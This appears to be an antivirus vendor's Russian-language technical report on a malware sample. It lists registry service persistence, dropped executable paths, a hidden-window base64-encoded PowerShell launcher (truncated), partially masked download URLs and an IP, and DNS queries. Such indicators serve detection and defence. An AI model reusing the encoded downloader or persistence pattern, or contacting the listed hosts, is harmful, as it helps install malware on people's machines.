Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\msimg32] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\msimg32] 'ImagePath' = '"%WINDIR%\SysWOW64\dfscli\msimg32.exe"'
- 'msimg32' "%WINDIR%\SysWOW64\dfscli\msimg32.exe"
- 'msimg32' %WINDIR%\SysWOW64\dfscli\msimg32.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABCADgAdABkAGYAMQBzAD0AKAAnAE4AJwArACgAJwA0AHgAJwArACcAdgBlACcAKQArACcAOAAxACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVQBzAEUAUgBQAHIATw...
- %HOMEPATH%\i6oyxo0\uzbjt6q\hn_ui_s.exe
- %WINDIR%\syswow64\dfscli\msimg32.exe
- %HOMEPATH%\i6oyxo0\uzbjt6q\hn_ui_s.exe в %WINDIR%\syswow64\dfscli\msimg32.exe
- '12.##3.208.58':80
- http://ri###utra.com/img/o9o/
- http://am####tchell.com/themes/d3i/
- http://12.##3.208.58/oKp5Ev4tmqIvJbFGOg4/PewE6h8OpE5nyDo/n3kAdEqyXc/gMG3neVAxU/
- DNS ASK ri###utra.com
- DNS ASK am####tchell.com
- '%HOMEPATH%\i6oyxo0\uzbjt6q\hn_ui_s.exe'
- '%WINDIR%\syswow64\dfscli\msimg32.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABCADgAdABkAGYAMQBzAD0AKAAnAE4AJwArACgAJwA0AHgAJwArACcAdgBlACcAKQArACcAOAAxACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVQBzAEUAUgBQAHIATw...' (со скрытым окном)